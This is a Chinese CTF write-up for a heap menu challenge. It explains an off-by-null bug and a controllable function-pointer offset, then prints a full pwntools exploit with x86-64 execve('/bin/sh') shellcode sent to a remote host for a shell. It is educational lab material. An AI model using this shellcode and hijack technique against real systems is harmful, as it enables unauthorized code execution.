这个题目也是一个菜单题其中有两个可调用的洞所以同时会有两种利用方法这里我主要介绍一种简单的利用方法,另一种方法会贴出链接,因为这是一道原题嘛。

程序分析

main

这里有6个选项相对于原题多了一个math选项而另一个漏洞点就在这个函数之中。

add

这里会读入两个参数大小0xf8具体是读入了堆上

show

这个函数也没有什么漏洞大致就是打印出我们的输入,如果不存在就会打印no such hero

edit

原来看到这个edit的时候第一反应就是这里可能会有一个uaf或者double free之类的东西,可是进去看的时候发现什么都没有,果然不是很简单的题目,不过这里存在一个off by null 这里可以利用,不过这个利用起来比较麻烦所以我就采用了另一种方法取做。

del

删除我们之前创建的堆这里进行了一个指针的置0所以也没有什么问题

math

这里存在一个func的指针函数调用,这里采用的是加v1然后进行一个调用,而且v1是可控的所以这里我们可以进行一个利用了

动态调试

这里没有开启nx所以可以直接执行shellcode来进行一个利用。

思路分析

首先在name和power段进行一个shellcode的写入然后进行一个ret2sc的操作来进行getshell,计算一下地址偏移是13,这里要注意是ida中的地址相减然后除以8才是偏移。然后参数随意输入就可以getshell了

exp

io = remote('172.91.0.125',8089)
context.arch='amd64'
context.log_level='debug'
#gdb.attach(io)
payload='jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
io.sendlineafter("choice:",'1')
io.sendlineafter("name:",payload)
io.sendlineafter("power:",payload)
io.sendlineafter("choice",'6')
io.sendlineafter("do?",'13')
io.sendlineafter("with",'1 2')
io.interactive()
方法二的链接

方法二的链接中是没有math函数的
http://www.pwndog.top/2018/07/29/%E4%B8%80%E6%AC%A1Null-by-one%E7%9A%84%E5%88%A9%E7%94%A8%E8%BF%87%E7%A8%8B/

总结

题目本身不难但是要看你选择的方法是什么,如果是传统的off by null 可能会出不少bug,和那些10分钟就打全程的师傅比肯定会差很多分,和大师们的差别还是在见的比他们少想的比他们少吧。。。

源链接

Hacking more

...